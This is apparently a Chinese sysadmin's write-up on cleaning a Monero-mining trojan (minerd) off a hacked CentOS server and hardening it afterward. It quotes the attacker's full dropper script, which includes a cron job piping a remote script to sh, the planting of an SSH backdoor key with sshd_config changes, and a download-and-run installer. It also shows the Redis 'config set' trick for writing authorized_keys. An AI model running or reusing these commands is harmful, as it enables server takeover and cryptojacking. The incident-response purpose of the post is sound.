彻底清除Linux centos minerd木马
现状描述
1.top可以看到,这个minerd 程序把cpu跑满了
25201 root 20 0 233m 3424 980 S 98.1 0.3 19477:09 minerd
2.ps aux | grep minerd
root 9425 0.0 0.0 103256 840 pts/0 S+ 14:05 0:00 grep minerd
root 25201 97.9 0.3 239504 3424 ? SLsl 2016 19478:34 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p
可知是这个程序: /opt/minerd
这个不是我们自己启动的,可以断定服务器被黑了
这个进程是root用户启动的,代码有漏洞可能性不大(web服务是www用户启动的),多半黑客已经登录服务器了
3.有可能是免密登录了,去/root/.ssh 目录下,并没有发现authorized_keys,但发现了KHK75NEOiq这个文件
查看 vim KHK75NEOiq
可以看到内容就是免密码登录的公钥
4.在ssh的配置文件/etc/ssh/sshd_config中也可以看到把AuthorizedKeysFile指向了这个文件了(.ssh/KHK75NEOiq)
通过authorized_keys免密码登录后,在这个目录下创建了KHK75NEOiq这个文件,修改了AuthorizedKeysFile的指向,就把authorized_keys这个文件删除了。
5.那么怎么写进来authorized_keys的
经过判断是redis未授权导致的,也就是说外网可以直接不用密码登录我的redis, 连上redis后,通过以下命令即可创建文件:
---
config set dir /root/.ssh
config set dbfilename authorized_keys
set key value,其中value为生成公钥,即可将公钥保存在服务器,使得登录时不需要输入账号与密码。
先堵住免登录漏洞
1.修改ssh端口
编辑/etc/ssh/sshd_config文件中的Port 22将22修改为其他端口
2.禁止root用户登陆
编辑/etc/ssh/sshd_config文件中的PermitRootLogin 修改为no
3.修改无密码登陆的文件路径
编辑/etc/ssh/sshd_config文件中的AuthorizedKeysFile 修改为其他文件路径
4.删除 .ssh下的 KHK75NEOiq
5.不让外网直接连接
在 redis.conf 文件中找到#bind 127.0.0.1,把前面的#号去掉,重启
找到木马守护进程
1.通常直接kill掉进程,是不好使的,肯定有守护进程,还有系统自启动,所以清理步骤是
a:干掉守护进程
b:干掉系统自启动
c:干掉木马进程
---
找到木马守护进程并干掉
---
守护进程有大概有两种存在形式,crontab 和常驻进程,常驻进程得慢慢分析,我们先看crontab,有一条不是我创建的任务。任务是:直接从远程下载一个脚本pm.sh 并执行。
crontab -l
*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh | sh
2.查看此脚本
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?103 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?103 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys*
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
/etc/init.d/sshd restart
fi
if [ ! -f "/etc/init.d/ntp" ]; then
if [ ! -f "/etc/systemd/system/ntp.service" ]; then
mkdir -p /opt
curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install
fi
fi
/etc/init.d/ntp start
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
# ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
3.大致逻辑是这样的
1)把 */10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh 写入crontab
2)把authorized_keys删掉,并创建免登录文件/root/.ssh/KHK75NEOiq,修改ssh配置重启
3)curl下载/opt/KHK75NEOiq33 这个文件,并执行安装(/opt/KHK75NEOiq33 --Install),然后启动ntp
4.基本可以断定这个ntp就是守护进程,但看到ntp真的有些怕怕,ntp不是搞时间同步的吗,其实 Linux正常的ntp服务叫ntpd,并非ntp,很有迷惑性啊
root 910 1 0 2016 ? 00:13:59 /usr/sbin/ntp -D
ntp 985 1 0 2016 ? 00:00:15 ntpd -u ntp:ntp -p /var/run/ntpd.pid -g
5.但为了让自己放心,还是校验了一番
我们先从时间上校验,ntp是不是木马任务后创建的
---
查看这个木马任务第一次执行的时间
去/var/log下看cron的日志
找出Oct 29 10:23:01 第一次执行: curl -L http://r.chanstring.com/pm.sh?0703
# ll /etc/init.d/ntp
-rwxr-xr-x 1 root root 2095 10月 29 10:25 /etc/init.d/ntp
6.我们看一下ntp的随系统启动
runlevel 2 3 4 5都启动了,够狠的呀
# chkconfig --list | grep ntp
ntp 0:关闭 1:关闭 2:启用 3:启用 4:启用 5:启用 6:关闭
ntpd 0:关闭 1:关闭 2:启用 3:启用 4:启用 5:启用 6:关闭
ntpdate 0:关闭 1:关闭 2:关闭 3:关闭 4:关闭 5:关闭 6:关闭
7.看一下常用的3吧
可以看到 有个S50ntp 软链了脚本/etc/init.d/ntp
# pwd
/etc/rc.d/rc3.d
#ll
lrwxrwxrwx 1 root root 15 9月 2 2014 S50aegis -> ../init.d/aegis
lrwxrwxrwx 1 root root 15 10月 29 10:25 S50ntp -> /etc/init.d/ntp
lrwxrwxrwx 1 root root 14 9月 2 2014 S50thin -> ../init.d/thin
8.我们查看系统启动日志
vim /var/log/boot.log
有一条是Staring S50ntp,这个基本对应脚本/etc/init.d/ntp 中的 echo "Starting $name"
#vim /etc/init.d/ntp
if is_running; then
echo "Already started"
else
echo "Starting $name"
$cmd >> "$stdout_log" 2>> "$stderr_log" &
echo $! > "$pid_file"
if ! is_running; then
echo "Unable to start, see $stdout_log and $stderr_log"
exit 1
fi
fi
;;
#vim /var/log/boot.log
Starting system logger: ^[[60G[^[[0;32m OK ^[[0;39m]^M
Retrigger failed udev events^[[60G[^[[0;32m OK ^[[0;39m]^M
Starting nscd: ^[[60G[^[[0;32m OK ^[[0;39m]^M
Aegis is running
Starting S50ntp
[start] /etc/thin/redmine.yml ...
Starting server on 0.0.0.0:3000 ...
9.通过搜索安装文件(/opt/KHK75NEOiq33),可知看到 /opt/KHK75NEOiq33 --Install的过程中写入了ntp脚本 自启动 /opt/minerd等一系列的操作。
[root@cch rc3.d]# strings /opt/
jboss-4.0.2/ jboss-4.0.2.zip KHK75NEOiq33 minerd rh/ scripts/
[root@cch rc3.d]# strings /opt/KHK75NEOiq33 | grep 's50'
[root@cch rc3.d]#
[root@cch rc3.d]# strings /opt/KHK75NEOiq33 | grep 'etc/rc'
/etc/rc
[root@cch rc3.d]# strings /opt/KHK75NEOiq33 | grep 'etc/init.d'
/etc/init.d/
/etc/init.d/%s
/etc/init.d/%s restart: %#v
[root@cch rc3.d]# strings /opt/KHK75NEOiq33 | grep 'minerd'
(?i).*/?minerd$
/opt/minerd
/usr/local/etc/minerd.conf
minerd.inSlice
minerd.findProcess
minerd.Do
minerd.init
C:/Users/h/CloudStation/Projects/0/ly/lady/src/minerd/minerd.go
[root@cch rc3.d]#
10.打开 /usr/local/etc/minerd.conf,内容就是/opt/minerd这个进程后的一些参数
[root@cch rc3.d]# cat /usr/local/etc/minerd.conf
-B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
11.好了 验证完毕,可以干掉这个ntp了
清理木马
1.好了 验证完毕,可以干掉这个ntp了
去掉crontab文件中的有关木马内容:
/var/spool/cron/crontabs/root
/var/spool/cron/root
2.干掉守护进程ntp,并删除相关文件
[root@cch rc3.d]# ps aux | grep ntp
root 910 0.0 0.9 19180 9716 ? Sl 2016 14:00 /usr/sbin/ntp -D
ntp 985 0.0 0.1 26368 1540 ? Ss 2016 0:15 ntpd -u ntp:ntp -p /var/run/ntpd.pid -g
root 11111 0.0 0.0 103256 840 pts/0 S+ 14:58 0:00 grep ntp
[root@cch rc3.d]#
[root@cch rc3.d]# kill -9 910
[root@cch rc3.d]#
[root@cch rc3.d]# rm /usr/sbin/ntp /etc/init.d/ntp /var/log/S50ntp.err /var/log/S50ntp.log /var/run/S50ntp.pid -rf
3.干掉木马进程及其文件
[root@cch rc3.d]# ps aux | grep minerd
root 11319 0.0 0.0 103256 836 pts/0 S+ 15:04 0:00 grep minerd
root 25201 97.9 0.3 239504 3424 ? SLsl 2016 19535:45 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
[root@cch rc3.d]# kill -9 25201
[root@cch rc3.d]#
[root@cch rc3.d]# rm /opt/minerd /usr/local/etc/minerd.conf -rf
[root@cch rc3.d]#
4.干掉安装文件及免密登录的文件
[root@cch rc3.d]# rm /opt/KHK75NEOiq33 ~/.ssh/KHK75NEOiq -rf
5.干掉随系统启动的文件
[root@cch rc3.d]# rm /etc/rc.d/rc2.d/S50ntp /etc/rc.d/rc3.d/S50ntp /etc/rc.d/rc4.d/S50ntp /etc/rc.d/rc5.d/S50ntp -rf
6.top一下 一切都正常了!
1460 root 20 0 248m 1628 1120 S 1.3 0.2 62:57.20 aegis_quartz
6284 root 20 0 109m 9332 3416 S 0.3 0.9 108:51.78 AliHids
1 root 20 0 19232 1124 828 S 0.0 0.1 0:03.18 init
2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd
3 root RT 0 0 0 0 S 0.0 0.0 0:00.00 migration/0
4 root 20 0 0 0 0 S 0.0 0.0 0:01.51 ksofti
7.重启一下,也没问题了
参考网址:http://jingyan.baidu.com/article/b7001fe1bf71ee0e7282dddb.html
十佳人物